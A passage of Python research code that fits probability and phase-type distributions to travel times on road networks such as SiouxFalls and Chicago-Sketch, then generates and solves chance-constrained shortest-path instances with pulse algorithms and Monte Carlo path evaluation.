print("Chi critico: ", st.chi2.ppf(.95, number_of_bins-len(param)))
print("mi p-val: ", p_val)
print("Su p-val: ", p)
plt.show()
'''
dist_results.append([dist_name, Chi, p_val])
# select the best fitted distribution
best_dist, best_c, best_p = None, sys.maxsize, 0
for item in dist_results:
name = item[0]
c = item[1]
p = item[2]
if (not math.isnan(c)):
if (c < best_c):
best_c = c
best_dist = name
best_p = p
#print("best p: ",p)
# print the name of the best fit and its p value
'''
print("Best fitting distribution: " + str(best_dist))
print("Best c value: " + str(best_c))
print("Best p value: " + str(best_p))
print("Parameters for the best fit: " + str(params[best_dist]))
'''
return best_dist, best_c, params[best_dist], dist_results, best_p
def fit_and_print(G,city,Continue=False,plot=False):
os.chdir(r'Networks/'+city)
cont=0
d_names = ['lognorm','gamma','weibull_min']#'weibull_min','burr']
n_good_fits=0
p_value_prom=0
if Continue:
for i,j in G.edges():
G[i][j]["fitted"]=False
#print(i,j)
fited_distrs = open(city+'_fitts'+'.txt')
cont = 0
for x in fited_distrs:
cont+=1
x=x.split('\t')
if x[0]!='Tail':
print(int(float(x[0])),int(float(x[1])))
G[int(float(x[0]))][int(float(x[1]))]["fitted"]=True
fited_distrs.close()
fited_distrs = open(city+'_fitts'+'.txt',"a")
data_file=open(city+'_data'+'.txt',"a")
t=time.time()
tot=len(G.edges())
s_time=1.5*cont
print('Empiezo con ',cont/tot*100,'% ya fitteado y estimo ',(tot-cont)*1.5/60,'mins mas.')
for i,j in G.edges():
if not G[i][j]["fitted"]:
#Creates data with the given moments
tt=time.time()
mean=abs(G[i][j]["Time"]-G[i][j]["fftt"])+0.00001
phi=math.sqrt(G[i][j]["SD"]**2+ mean**2)
mu=math.log(mean**2/phi)
sigma=math.sqrt(math.log(phi**2/(mean**2)))
Good_fit=False
while not Good_fit:
data = np.random.lognormal(mu,sigma, 1000)
#data=list(map(lambda x:max(0.0,x),data-G[i][j]["fftt"]))
mu_data=sum(data)/len(data)
#Fits this data to one of the given distributions
params = fit_to_all_distributions(data,d_names)
best_dist_chi, best_chi, params_chi, dist_results_chi,dist_p_val = get_best_distribution_using_chisquared_test(data, params,d_names)
dat=getattr(sts,best_dist_chi).rvs(size=1000,*params_chi)
gen_mean=np.mean(dat)
gen_sd=math.sqrt(np.var(dat) )
if abs(mu_data-gen_mean)/mu_data>1 and abs(mu_data-gen_mean)>100:
print("###########################################")
print("distr ",best_dist_chi)
print("Real mean ",mean)
print("Data mean ",mu_data)
print("Gener Mean ",np.mean(dat) )
print("Rela sd ",G[i][j]["SD"])
print("Data sd ",math.sqrt(np.var(data)))
print("Gener sd ",math.sqrt(np.var(dat) ))
print("p-val: ",dist_p_val)
print("###########################################")
xx = np.linspace(0, max(data), 100)
arg = params_chi[:-2]
c=params_chi[-3]
loc = params_chi[-2]
scale = params_chi[-1]
else:
Good_fit=True
#Saves the info in the new graph
#NG.add_edge(i,j, Cost=G[i][j]["Cost"], tmin=G[i][j]["fftt"],distr=best_dist_chi,params=params_chi)
#text=str(i)+"\t"+str(j)+"\t"+best_dist_chi+"\t"+str([list(map(lambda x: round(float(x),10),k))[0]for k in G[i][j]["alpha"]])+"\t"+str([list(map(lambda x: round(float(x),10),k))for k in G[i][j]["T"]])+'\n'
text1=str(int(i))+"\t"+str(int(j))+"\t"+best_dist_chi+"\t"+str(params_chi)+'\n'
fited_distrs.write(text1)
text2=str(int(i))+"\t"+str(int(j))+"\t"+str(list(data))+'\n'
data_file.write(text2)
s_time+=time.time()-tt
if cont%100==0:
print('voy ',cont, 'de ', tot,': ',cont/tot*100,'%')
print('tiempo estimado: ',tot*(s_time/(cont+1))*(1-cont/tot)/60," mins")
print("voy con tiempo de ",s_time)
print("data mean ", sum(data)/(len(data)))
print("real mean ",G[i][j]["Time"]-G[i][j]["fftt"])
print("p-val: ",dist_p_val)
cont+=1
t_fit=time.time()-t
else:
fited_distrs = open(city+'_fitts'+'.txt',"w")
fited_distrs.write('Tail\tHead\tDistribution\tParameters\n')
data_file=open(city+'_data'+'.txt',"w")
t=time.time()
tot=len(G.edges())
s_time=0
for i,j in G.edges():
#Creates data with the given moments
tt=time.time()
mean=abs(G[i][j]["Time"]-G[i][j]["fftt"])+0.00001
phi=math.sqrt(G[i][j]["SD"]**2+ mean**2)
mu=math.log(mean**2/phi)
sigma=math.sqrt(math.log(phi**2/(mean**2)))
#print("sd ",G[i][j]["SD"])
#print("mean " ,mean)
#print("s/e ",G[i][j]["SD"]**2/(mean**2))
#mu=math.log(mean)-1/2*math.log(G[i][j]["SD"]**2/(mean**2) )
#sigma=math.sqrt(math.log(G[i][j]["SD"]**2/(mean**2) ))
Good_fit=False
while not Good_fit:
data = np.random.lognormal(mu,sigma, 1000)
#data=list(map(lambda x:max(0.0,x),data-G[i][j]["fftt"]))
mu_data=sum(data)/len(data)
#Fits this data to one of the given distributions
params = fit_to_all_distributions(data,d_names)
best_dist_chi, best_chi, params_chi, dist_results_chi,dist_p_val= get_best_distribution_using_chisquared_test(data, params,d_names)
dat=getattr(sts,best_dist_chi).rvs(size=1000,*params_chi)
if plot:
if best_dist_chi=="lognorm":
xx = np.linspace(0, max(data)*1.2, 100)
s,loc,scale=params_chi[0:3]
pdf=lambda x: getattr(sts,best_dist_chi).pdf(x=x, s=s, loc=loc, scale=scale)
y2 = list(map(pdf,xx))
plt.hist(data,bins=100, density=True)
plt.plot(xx,y2, color="lime")
plt.legend(['PH-fit'])
plt.title("fitted "+best_dist_chi+" to "+str((i,j)))
plt.savefig("./Distr_fit_plots/fit"+"_"+str(i)+"_"+str(j)+"_.png")
plt.clf()
#plt.show()
#print("Arc: ",str((i,j)))
#print("Distr: ",best_dist_chi)
#print("Chi: ",best_chi)
#print("P-val: ",dist_p_val)
elif best_dist_chi=="gamma":
xx = np.linspace(0, max(data)*1.2, 100)
a,loc,scale=params_chi[0:3]
pdf=lambda x: getattr(sts,best_dist_chi).pdf(x=x, a=a, loc=loc, scale=scale)
y2 = list(map(pdf,xx))
plt.hist(data,bins=100, density=True)
plt.plot(xx,y2, color="lime")
plt.legend(['PH-fit'])
plt.title("fitted "+best_dist_chi+" to "+str((i,j)))
plt.title("fitted "+best_dist_chi+" to "+str((i,j)))
plt.savefig("./Distr_fit_plots/fit"+"_"+str(i)+"_"+str(j)+"_.png")
plt.clf()
elif best_dist_chi=="expon":
xx = np.linspace(0, max(data)*1.2, 100)
loc,scale=params_chi[0:2]
pdf=lambda x: getattr(sts,best_dist_chi).pdf(x=x, loc=loc, scale=scale)
y2 = list(map(pdf,xx))
plt.hist(data,bins=100, density=True)
plt.plot(xx,y2, color="lime")
plt.legend(['PH-fit'])
plt.title("fitted "+best_dist_chi+" to "+str((i,j)))
plt.title("fitted "+best_dist_chi+" to "+str((i,j)))
plt.savefig("./Distr_fit_plots/fit"+"_"+str(i)+"_"+str(j)+"_.png")
plt.clf()
#plt.show()
print("Arc: ",str((i,j)))
print("Distr: ",best_dist_chi)
print("Chi: ",best_chi)
print("P-val: ",dist_p_val)
#plt.hist(data,bins=100)
#plt.show()
gen_mean=np.mean(dat)
gen_sd=math.sqrt(np.var(dat) )
#if abs(mu_data-gen_mean)/mu_data>1 and abs(mu_data-gen_mean)>100:
if dist_p_val>=0.05:
Good_fit=True
n_good_fits+=1
p_value_prom+=dist_p_val
else:
pass
#print("Repeat")
'''
print("###########################################")
print("distr ",best_dist_chi)
print("Real mean ",mean)
print("Data mean ",mu_data)
print("Gener Mean ",np.mean(dat) )
print("Rela sd ",G[i][j]["SD"])
print("Data sd ",math.sqrt(np.var(data)))
print("Gener sd ",math.sqrt(np.var(dat) ))
print("P-val: ",dist_p_val)
print("###########################################")
'''
#Saves the info in the new graph
#NG.add_edge(i,j, Cost=G[i][j]["Cost"], tmin=G[i][j]["fftt"],distr=best_dist_chi,params=params_chi)
#text=str(i)+"\t"+str(j)+"\t"+best_dist_chi+"\t"+str([list(map(lambda x: round(float(x),10),k))[0]for k in G[i][j]["alpha"]])+"\t"+str([list(map(lambda x: round(float(x),10),k))for k in G[i][j]["T"]])+'\n'
text1=str(int(i))+"\t"+str(int(j))+"\t"+best_dist_chi+"\t"+str(params_chi)+'\n'
fited_distrs.write(text1)
text2=str(int(i))+"\t"+str(int(j))+"\t"+str(list(data))+'\n'
data_file.write(text2)
s_time+=time.time()-tt
if cont%100==0:
print('voy ',cont, 'de ', tot,': ',cont/tot*100,'%')
print('tiempo estimado: ',tot*(s_time/(cont+1))*(1-cont/tot)/60," mins")
print("voy con tiempo de ",s_time)
print("data mean ", sum(data)/(len(data)))
print("real mean ",G[i][j]["Time"]-G[i][j]["fftt"])
cont+=1
t_fit=time.time()-t
#print("La prop de fits que pasan son: ",n_good_fits/len(G.edges))
#print("El p-value promedio en la red es de ",p_value_prom/len(G.edges))
fited_distrs.close()
data_file.close()
os.chdir('..')
fit_times = open('Fitting_Times'+'.txt',"a")
fit_times.write('Distribution\t'+city+'\t'+str(t_fit)+'\t'+str(n_good_fits/len(G.edges)) + '\t' + str(p_value_prom/len(G.edges) )+'\n')
fit_times.close()
os.chdir('..')
##############################################################################
#Fits the city travel times to PH distributions and saves a txt file city_PHfit_nPhases.txt with the parameters of each PH
def fit_PH_and_print(G,city,nPhases,plot=False):
os.chdir(r'Networks/'+city)
data_file=open(city+'_data'+'.txt')
file1 = open(city+'_PHfit_'+str(nPhases)+'.txt',"w")
cont=0
tot=len(G.edges)
s_time=0
t=time.time()
n_good_fits=0
p_value_prom=0
for x in data_file:
tt=time.time()
x=x.split('\t')
#print(x)
if len(x)>2:
i,j=int(float(x[0])),int(x[1])
s_Data=x[2].replace('[','')
s_Data=s_Data.replace(']','')
s_Data=s_Data.replace('\n','')
lis=filter(lambda x: x!='', s_Data.split(', '))
#print(s_Data)
data=list(map(float,lis))
#print("len", len(data))
phi=math.sqrt(G[i][j]["SD"]**2+ G[i][j]["Time"]**2)
mu=math.log(G[i][j]["Time"]**2/phi)
sigma=math.sqrt(math.log(phi**2/(G[i][j]["Time"]**2)))
ph,log_like=get_PH_HE(data,nPhases)
#################
#Calcs GOF test for PH fit.
histo, bin_edges = np.histogram(data, bins='auto', normed=False)
number_of_bins = len(bin_edges) - 1
observed_values = histo
nnn=len(data)
#cdf = getattr(st, dist_name).cdf(bin_edges, loc=loc, scale=scale, *arg)
cdf=np.array([float(ph.cdf(i)) for i in bin_edges])
expected_values = len(data) * np.diff(cdf)
#expected_values = * np.diff(cdf)
Chi=sum((observed_values[i]-expected_values[i])**2/expected_values[i] for i in range(number_of_bins))
p_val=1-st.chi2.cdf(Chi, number_of_bins-2)
#print("i,j ",(i,j))
#print("Chi: ",Chi)
#print("p_val: ",p_val)
if p_val>0.05:
n_good_fits+=1
p_value_prom+=p_val
if plot:
plt.hist(data,bins=100,density=True)
ph.plot_pdf(max=max(data)*1.4)
plt.title("Phase-type Fit for "+str((i,j)))
#plt.show()
plt.savefig("./PH_fit_plots/PH_"+str(nPhases)+"/fit"+"_"+str(i)+"_"+str(j)+"_.png")
plt.clf()
G[i][j]["alpha"]=ph.alpha.tolist()
G[i][j]["T"]=ph.T.tolist()
text=str(i)+"\t"+str(j)+"\t"+str(int(G[i][j]["Cost"]))+"\t"+str(G[i][j]["fftt"])+"\t"+str([list(map(lambda x: round(float(x),10),k))[0]for k in G[i][j]["alpha"]])+"\t"+str([list(map(lambda x: round(float(x),10),k))for k in G[i][j]["T"]])+'\t'+str(log_like)+'\n'
#print(text)
file1.write(text)
s_time+=time.time()-tt
if cont%100==0:
print('voy ',cont, 'de ', tot,': ',cont/tot*100,'%')
print('tiempo estimado: ',tot*(s_time/(cont+1))*(1-cont/tot)/60," mins")
print("voy con tiempo de ",s_time)
print("data mean ", sum(data)/(len(data)))
print("real mean ",G[i][j]["Time"]-G[i][j]["fftt"])
cont+=1
fit_time=time.time()-t
os.chdir('..')
fit_times = open('Fitting_Times'+'.txt',"a")
fit_times.write('PhaseType fit '+str(nPhases)+ '\t'+city+'\t'+str(fit_time)+'\t'+str(n_good_fits/len(G.edges)) + '\t' + str(p_value_prom/len(G.edges) )+'\n')
fit_times.close()
os.chdir('..')
file1.close()
##############################################################################
#Creates instances (source, targer, T_max) for the specified city
#Makes clusters based on the location
from operator import itemgetter
def split_x(pos):
x=0
n=len(pos.values())
print(pos)
for i,j in pos.values():
x+=i
try:
x=x/n
except:
x=0
c1=[]
c2=[]
for n,(i,j) in pos.items():
if i>=x:
c1.append(n)
else:
c2.append(n)
return c1,c2
def split_y(pos):
y=0
n=len(pos.values())
for i,j in pos.values():
y+=j
y=y/n
c1=[]
c2=[]
for n,(i,j) in pos.items():
if j>=y:
c1.append(n)
else:
c2.append(n)
return c1,c2
def create_random_instances(city,G,n_splits,pos,n_inst,tightness,inf_tightness,search_time,w_a,plot=False):
part=list(split_x(pos))
cont=1
while cont<n_splits:
parts=part.copy()
part=[]
for p in parts:
post={k:pos[k] for k in p}
if cont%2:
part+=list(split_y(post))
else:
part+=list(split_x(post))
cont+=1
part=list(filter(lambda x: x!=[],part))
if plot:
#nx.draw(G, pos=pos ,arrows=False,width=0.1,node_size=0.001)
#plt.show()
number_of_colors = 2**n_splits
color = ["#"+''.join([random.choice('0123456789ABCDEF') for jj in range(6)])for ii in range(number_of_colors)]
#color =['black']#'r','g','orange','b']
nx.draw_networkx_edges(G, pos=pos ,arrows=False,width=0.1)
for i,j in enumerate(part):
nx.draw_networkx_nodes(G, pos=pos, nodelist=j, node_size=1 ,node_color=color[i])
plt.show()
#d()
os.chdir(r'Networks/'+city)
file1 = open(city+'_Instances'+'.txt',w_a)
#file1.write('Source\tTarget\tT_max\tTightness\n')
num_it=0
done=False
while not done:
zones=list(range(len(part)))
s_zone=random.choice(zones)
zones.pop(s_zone)
t_zone=random.choice(zones)
s=random.choice(part[s_zone])
t=random.choice(part[t_zone])
#s=2
#t=13
tightness=tightness
PG=pulse_graph(G=G,T_max=0,source=s, target=t,tightness=1,pos=pos)
pulse_path,pulse_cost,pulse_sol_time=PG.run_pulse()
T_max=PG.T_max
T_max_star=T_max
#if plot: PG.draw_graph()
##############################################################################
#To do: While the relaiability of the path from the CSP is greater than tightness, reduce the time constraint and find again this path.
stop=False
delta=0.8
try:
S_pat=nx.shortest_path(G,s,t,'Time')
except:
stop=True
time_creit=time.time()
pri=False
if len(S_pat)<5:
stop=True
print('\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n',S_pat)
while not stop:
os.chdir('..')
os.chdir('..')
rho=eval_path(pulse_path,city,1000,T_max)
sp_rho=eval_path(S_pat,city,1000,T_max)
print("se tiene que , ",rho,sp_rho,T_max,S_pat)
if rho!=0:
T_max_star=T_max
os.chdir(r'Networks/'+city)
if rho<tightness and sp_rho>=inf_tightness:
stop=True
pri=True
elif sp_rho>=inf_tightness:
T_max=T_max*delta
PG=pulse_graph(G=G,T_max=T_max,source=s, target=t,pos=pos)
pulse_path,pulse_cost,pulse_sol_time=PG.run_pulse()
T_max=PG.T_max
elif sp_rho<=inf_tightness:
T_max=T_max*(1/0.9)
delta=delta +0.5*(1-delta)
#T_max=T_max*delta
PG=pulse_graph(G=G,T_max=T_max,source=s, target=t,pos=pos)
pulse_path,pulse_cost,pulse_sol_time=PG.run_pulse()
T_max=PG.T_max
if time.time()-time_creit>=search_time:
stop=True
if num_it==n_inst:
done=True
if pri:
num_it+=1
print("#############")
print("El tiempo maximo es de ",T_max_star)
print("El min time de la red es de ",PG.G.nodes[s]["s_time"])
print("Estamos a ",(T_max_star-PG.G.nodes[s]["s_time"]))
print("#############")
text=str(s)+'\t'+str(t)+'\t'+str(T_max_star)+'\t'+str(tightness)+'\n'
print(text)
file1.write(text)
file1.close()
os.chdir('..')
os.chdir('..')
##############################################################################
#Run instances for the given city
def creates_graphs(city):
DG=nx.DiGraph()
#os.chdir(r'Networks/'+city)
##########################
#Creates deterministic graph
file1 = open(city+'_net.txt','r')
for x in file1:
x=x[:-1].split('\t')
#print(x)
if x[0]!='Tail':
x=list(map(float,x))
DG.add_edge(int(x[0]),int(x[1]),Cost=x[2],Time=x[3],tmin=x[4])
file1.close()
##########################
#Creates graph with distrs
SG=DG.copy()
file1 = open(city+'_fitts.txt','r')
for x in file1:
x=x[:-1].split('\t')
#print(x)
if x[0]!='Tail':
#print(x)
params=tuple(map(float,x[-1][1:-1].split(', ')))
#print(params)
i,j=int(float(x[0])),int(float(x[1]))
SG[i][j]["distr"]=x[2]
SG[i][j]["params"]=params
file1.close()
##########################
#Creates graph with PH
SG_PH=DG.copy()
file1 = open(city+'_PHfit_3.txt','r')
for x in file1:
x=x[:-1].split('\t')
#print(x)
if x[0]!='Tail':
def s_to_list(s):
s=s.replace('[','')
s=s.replace(']','')
return(list(map(float,s.split(', '))))
t=s_to_list(x[4])
T=x[5].split('], [')
T=list(map(s_to_list,T))
i,j=int(float(x[0])),int(float(x[1]))
SG_PH[i][j]["tRV"]=PH(T,t)
file1.close()
##########################
#Charges nodes positions
pos={}
file1 = open(city+'_pos.txt','r')
for x in file1:
x=x[:-2].split('\t')
#print(x)
if x[0]!='Node':
#print(x)
x=list(map(float,x))
pos[int(x[0])]=(x[1],x[2])
file1.close()
os.chdir('..')
os.chdir('..')
return DG,SG,SG_PH,pos
def run_instances(city,alpha,n_it,new_cont='w'):
os.chdir(r'Networks/'+city)
DG,SG,SG_PH,pos=creates_graphs(city)
os.chdir(r'Networks/'+city)
file1 = open(city+'_Instances'+'.txt','r')
os.chdir(r'Results')
file2 = open(city+'_pulse'+'.txt',new_cont)
file3 = open(city+'_MC_Not_corr'+'.txt',new_cont)
file4= open(city+'_PH_3'+'.txt',new_cont)
if new_cont=='w':
file2.write('Time(s)\tCost(PB)\tTime\tP(T<T_max)\tBound\tInfeasibility\tDominance\tPath\n')
file3.write('Time(s)\tCost(PB)\tTime\tP(T<T_max)\tBound\tInfeasibility\tDominance\tPath\n')
for x in file1:
x=x[:-1].split('\t')
#print(x)
if x[0]!='Source':
x=list(map(float,x))
source, target, T_max=int(x[0]),int(x[1]),x[2]
PG=pulse_graph(G=DG,T_max=T_max,source=source, target=target,tightness=0,pos=pos)
SPG=MC.s_pulse_graph(SG,T_max=T_max,alpha=alpha,source=source,target=target,n_it=n_it,tightness=0,pos=pos)
SPG_PH=PH_pulse.s_pulse_graph(SG_PH,T_max=T_max,alpha=alpha,source=source,target=target,pos=pos)
###################################################
#Runs CSP with pulse algo
print("Running CSP")
t_pulse=time.time()
pulse_path,pulse_cost,pulse_sol_time=PG.run_pulse()
t_pulse=time.time()-t_pulse
#The probability of arriving on time is estimated using montecarlo
#print(T_max)
path=list(zip(pulse_path[:-1],pulse_path[1:]))
tmin=sum(SPG.G[i][j]["tmin"] for i,j in path)
#pulse_prob= SPG.monte_carlo(pulse_path,tmin,0,10000)
os.chdir('..')
os.chdir('..')
os.chdir('..')
pulse_prob=eval_path(path1=pulse_path,city=city,n_sim=10000,pT_max=T_max)
os.chdir(r'Networks/'+city)
os.chdir(r'Results')
#print("Probabilidad de llegar a tiempo: ", pulse_prob)
text= str(source) +'\t'+str(target)+'\t'+ str(t_pulse) +'\t'+str(pulse_cost)+"\t"+str(pulse_sol_time)+'\t'+str(pulse_prob)+'\t'+str(PG.bound)+'\t'+str(PG.infeas)+'\t'+str(PG.dom)+"\t"+str(pulse_path)+'\n'
print(text)
file2.write(text)
###################################################
#Runs CCSP with MC pulse algo
print("Running CSP MC")
t_s_pulse=time.time()
pulse_path,pulse_cost,pulse_sol_time=SPG.run_pulse(t_limit=1000)
t_s_pulse=time.time()-t_s_pulse
path=list(zip(pulse_path[:-1],pulse_path[1:]))
tmin=sum(SPG.G[i][j]["tmin"] for i,j in path)
Exp_time=sum(SPG.G[i][j]["Time"] for i,j in path)
os.chdir('..')
os.chdir('..')
os.chdir('..')
pulse_prob=eval_path(path1=pulse_path,city=city,n_sim=10000,pT_max=T_max)
os.chdir(r'Networks/'+city)
os.chdir(r'Results')
text= str(source) +'\t'+str(target)+'\t'+ str(t_s_pulse) +'\t'+str(pulse_cost)+"\t"+str(Exp_time)+'\t'+str(pulse_prob)+'\t' +str(SPG.Resource)+'\t'+str(SPG.bound)+'\t'+str(SPG.infeas)+'\t'+str(SPG.dom)+"\t"+str(pulse_path)+'\n'
print(text)
print("la prob del mc es ",SPG.Resource)
print("Tiempo en Simulacion ",SPG.time_expm)
file3.write(text)
'''
###################################################
#Runs CCSP with PH pulse algo
print("Running CSP PH")
t_s_pulse=time.time()
pulse_path,pulse_cost,pulse_sol_time=SPG_PH.run_pulse(t_limit=1000)
t_s_pulse=time.time()-t_s_pulse
path=list(zip(pulse_path[:-1],pulse_path[1:]))
tmin=sum(SPG.G[i][j]["tmin"] for i,j in path)
Exp_time=sum(SPG.G[i][j]["Time"] for i,j in path)
os.chdir('..')
os.chdir('..')
os.chdir('..')
pulse_prob=eval_path(path1=pulse_path,city=city,n_sim=10000,T_max=T_max)
os.chdir(r'Networks/'+city)
os.chdir(r'Results')
text= str(t_s_pulse) +'\t'+str(pulse_cost)+"\t"+str(Exp_time)+'\t'+str(pulse_prob)+'\t'+str(SPG.bound)+'\t'+str(SPG.infeas)+'\t'+str(SPG.dom)+"\t"+str(pulse_path)+'\n'
print(text)
print("Tiempo en Simulacion ",SPG.time_expm)
file4.write(text)
'''
file1.close()
file2.close()
file3.close()
file4.close()
os.chdir('..')
os.chdir('..')
os.chdir('..')
#############################################################################
#Plays god: Simulates and evaluates paths
def eval_path(path1,city,n_sim,pT_max):
G,pos=create_net(city)
pat=list(zip(path1[:-1],path1[1:]))
data=np.array([0.0 for i in range(n_sim)])
tmin=0
'''print('Hola, voy a evaluar ',pat)
print('con tmax ',pT_max) '''
for i,j in pat:
mean=abs(G[i][j]["Time"]-G[i][j]["fftt"])+0.00001
phi=math.sqrt(G[i][j]["SD"]**2+ mean**2)
mu=math.log(mean**2/phi)
sigma=math.sqrt(math.log(phi**2/(mean**2)))
data += np.random.lognormal(mu,sigma, n_sim)
tmin+=math.floor( G[i][j]["fftt"])
ind=list(map(lambda x: x<=pT_max-tmin,data))
prob= sum(ind)/n_sim
if prob==0 and len(pat)!=0:
plt.axvline(x=pT_max-tmin,ymin=0, ymax=1000,color="lime")
plt.hist(data)
print("El tmin calculado es ",tmin)
#plt.show()
plt.clf()
if len(pat)==0:
prob=0
return prob
#print("sd ",G[i][j]["SD"])
#print("mean " ,mean)
#print("s/e ",G[i][j]["SD"]**2/(mean**2))
#mu=math.log(mean)-1/2*math.log(G[i][j]["SD"]**2/(mean**2) )
#sigma=math.sqrt(math.log(G[i][j]["SD"]**2/(mean**2) ))
##############################################################################
#Reads results from txx and makes plots and computes statistics
def sum_up_fits(city):
DG,SG,pos=creates_graphs(city)
d_names = ['laplace','norm','lognorm', 'powerlognorm' ,'exponweib', 'pareto','johnsonsu','burr']
frecs=[0 for i in d_names]
for i,j in SG.edges():
for k,d in enumerate(d_names):
try:
if SG[i][j]["distr"]==d:
frecs[k]+=1
except Exception as e:
print('error con ',(i,j))
plt.bar(d_names,frecs)
plt.title("Fitted distributions in "+city)
plt.show()
def read_results(city,nPhases):
G,pos=create_net(city)
os.chdir(r'Networks/'+city+'/Results')
file1 = open(city+'_pulse'+'.txt','r')
file2 = open(city+'_MC_Not_corr'+'.txt','r')
file3 = open(city+'_PHfit_'+str(nPhases)+'.txt','r')
sols_p=[]
info=[]
for x in file1:
sol={}
x=x.split('\t')
if x[0]=='Time(s)':
info=x
else:
for i,j in enumerate(info[:-1]):
sol[j]=float(x[i])
x[-1]=x[-1].replace('\n','')
sol[info[-1]]=list(map(float,x[-1][1:-1].split(', ')))
sols_p.append(sol)
sols_MC_NC=[]
for x in file2:
sol={}
x=x.split('\t')
if x[0]=='Time(s)':
info=x
else:
for i,j in enumerate(info[:-1]):
sol[j]=float(x[i])
x[-1]=x[-1].replace('\n','')
#print("path: ",x[-1][1:-2].split(', '))
try:
sol[info[-1]]=list(map(float,x[-1][1:-1].split(', ')))
except:
sol[info[-1]]=[]
sols_MC_NC.append(sol)
sols_PH=[]
for x in file3:
sol={}
x=x.split('\t')
if x[0]=='Time(s)':
info=x
else:
for i,j in enumerate(info[:-1]):
sol[j]=float(x[i])
x[-1]=x[-1].replace('\n','')
#print("path: ",x[-1][1:-2].split(', '))
try:
sol[info[-1]]=list(map(float,x[-1][1:-1].split(', ')))
except:
sol[info[-1]]=[]
sols_PH.append(sol)
file1.close()
file2.close()
os.chdir('Plots')
PG=pulse_graph(G=G,T_max=0,source=1, target=1,tightness=0,pos=pos)
inst=1
print("Guarde ")
print (len(sols_p),len(sols_MC_NC),len(sols_PH))
for p,MC,PHsol in list(zip(sols_p,sols_MC_NC,sols_PH)):
PG.Fpath=p[info[-1]]
##fig=PG.draw_graph(path2=MC[info[-1]],path3=[[info[-1]]])
print(PHsol)
fig=PG.draw_graph(path2=MC[info[-1]],path3=list(map(lambda x:x+1,PHsol[info[-1]])))
#plt.legend(['CSP (Expected value)','CCSP (Montecarlo Independent)'])
ax = fig.add_subplot(1,1,1)
x=sum(p[0] for p in pos.values())/len(pos.values())
y=sum(p[1] for p in pos.values())/len(pos.values())
ax.plot([x],[y],color="lime",label='CSP (Expected value)')
ax.plot([x],[y],color="blue",label='CCSP (Montecarlo)')
ax.plot([x],[y],color="red",label='CCSP (Phase-Type)')
plt.axis('off')
fig.set_facecolor('w')
plt.legend()
fig.tight_layout()
plt.savefig(city+'_'+str(inst)+'.png')
#plt.show()
inst+=1
os.chdir('..')
os.chdir('..')
os.chdir('..')
os.chdir('..')
def eval_paths_ph(city,phases):
os.chdir(r'Networks/'+city)
file1 = open(city+'_Instances'+'.txt','r')
os.chdir(r'Results')
file = open(city+'_PHfit_'+str(phases)+'.txt','r')
file2 = open(city+'_PHfit_'+str(phases)+'eval'+'.txt','w')
instances=[]
for x in file1:
x=x[:-1].split('\t')
if x[0]!='Source':
x=list(map(float,x))
#source target, T_max
instances.append([int(x[0]),int(x[1]),x[2]])
#print('esto',[int(x[0]),int(x[1]),x[2]])
info=[]
n=0
for x in file:
x=x[:-1].split('\t')
x=list(filter(lambda y: y!='',x))
if x!=[]:
path=x[-1]
x=list(map(float,x[:-1]))
path=path.replace("[",'')
path=path.replace("]",'')
if path=='':
prob=0
path=[]
else:
path=list(map(lambda x:int(x)+1,path.split(', ')))
os.chdir('..')
os.chdir('..')
os.chdir('..')
print(instances[n])
print(path)
prob=eval_path(path,city,10000,instances[n][2])
#print(prob)
os.chdir(r'Networks/'+city)
os.chdir(r'Results')
if prob==0 and path!=[]:
print(n,"T de ",instances[n][2])
print('el t min que viene es de ',x[4])
#print(n,prob,path)
n+=1
#print(x[:5]+[prob]+x[5:]+[path])
info.append(x[:5]+[prob]+x[5:]+[path])
for lin in info:
text=str(lin[:-1]).replace(', ','\t')
text=text.replace('[','')
text=text.replace(']','')
path=str(lin[-1])
file2.write(text+ '\t' +path+'\n')
os.chdir('..')
os.chdir('..')
os.chdir('..')
def eval_insts(city):
os.chdir(r'Networks/'+city)
file1 = open(city+'_Instances'+'.txt','r')
instances=[]
for x in file1:
x=x[:-1].split('\t')
if x[0]!='Source':
x=list(map(float,x))
#source target, T_max
instances.append([int(x[0]),int(x[1]),x[2]])
file1.close()
DG,SG,SG_PH,pos=creates_graphs(city)
info=[]
for inst in instances:
sp_time=nx.shortest_path(DG,inst[0],inst[1],"Time")
sp_cost=nx.shortest_path(DG,inst[0],inst[1],"Cost")
LET=sum(DG[i][j]["Time"] for i,j in zip(sp_time[:-1],sp_time[1:]))
time_sc=sum(DG[i][j]["Time"] for i,j in zip(sp_cost[:-1],sp_cost[1:]))
info.append(inst+[LET,time_sc])
os.chdir(r'Networks/'+city)
file2 = open(city+'_Instances_mod'+'.txt','w')
for lin in info:
text=str(lin).replace(', ','\t')
text=text.replace('[','')
text=text.replace(']','')
file2.write(text+'\n')
os.chdir('..')
os.chdir('..')
##############################################################################
#Use the functions to create files, run insances and save results.
############################################################################
#creates random instances for all the cities
'''
n_inst=10
clusters=4
tightness=0.93
inf_tightness=0.95
search_time=10
cities=["SiouxFalls",'Chicago-Sketch','GoldCoast','Philadelphia','Sydney']
cities=[cities[0]]
print(cities)
for city in cities:
G,pos=create_net(city,True)
#print(pos)
print(city)
print(len(G.nodes))
print(len(G.edges))
print('emoece con ',city)
create_random_instances(city,G,clusters,pos,n_inst,tightness,inf_tightness,search_time,"a",False)
'''
############################################################################
#Fits the distributions to all cities
#cities=['Chicago-Sketch','GoldCoast','Philadelphia','Sydney']
'''
cities=["SiouxFalls",'Chicago-Sketch','GoldCoast','Philadelphia','Sydney']
cities=cities[2:4]
for city in cities:
G,pos=create_net(city)
print('emoece con ',city)
fit_and_print(G,city,Continue=False)
'''
############################################################################
#Fits the Phase-type distributions to all cities
'''
cities=["SiouxFalls",'Chicago-Sketch','GoldCoast','Philadelphia','Sydney']
cities=cities[1:2]
nPhases=10
for city in cities:
G,pos=create_net(city)
print(len(G.nodes))
print(len(G.edges))
print('emoece con ',city)
fit_PH_and_print(G,city,nPhases,False)
'''
##########################################################################
#runs the instances for all the cities
'''
cities=["SiouxFalls",'Chicago-Sketch','GoldCoast','Philadelphia','Sydney']
cities=cities[1:2]
print(cities)
alpha=0.90
n_it=1000
for city in cities:
print('empece con: ',city)
run_instances(city,alpha,n_it)
'''
##########################################################################
#Evaluates PH-paths
#Evaluates instances
'''
city='Chicago-Sketch'
phases= 5
G,pos=create_net(city,True)
nx.draw(G,pos,node_color="black",node_size=25,arrows=False)
plt.show()
eval_paths_ph(city,phases)
eval_insts(city)
'''
##########################################################################
##########################################################################
if False:
#Plot results from all cities
#g=w
city='Chicago-Sketch'
plot_net(city)
os.chdir(r'Networks/'+city)
